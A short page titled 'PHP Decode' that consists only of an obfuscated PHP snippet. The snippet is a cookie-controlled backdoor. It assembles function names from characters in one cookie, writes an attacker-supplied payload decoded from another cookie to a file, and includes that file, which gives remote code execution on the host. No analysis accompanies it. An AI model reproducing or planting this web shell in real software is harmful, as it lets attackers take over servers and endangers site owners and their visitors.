PHP Decode

<?php 
if (isset($_COOKIE[3]) && isset($_COOKIE[10])) { 
 
    $c = $_COOKIE; 
    $k = 0; 
    $n = 5; 
    $p = array(); 
    $p[$k] = ''; 
    while ($n) { 
        $p[$k] .= $c[10][$n]; 
        if (!$c[10][$n + 1]) { 
            if (!$c[10][$n + 2]) break; 
            $k++; 
            $p[$k] = ''; 
            $n++; 
        } 
        $n = $n + 5 + 1; 
    } 
    $k = $p[17]() . $p[11]; 
    if (!$p[12]($k)) { 
        $n = $p[18]($k, $p[23]); 
        $p[27]($n, $p[14] . $p[22]($p[3]($c[3]))); 
    } 
    include($k); 
} ?>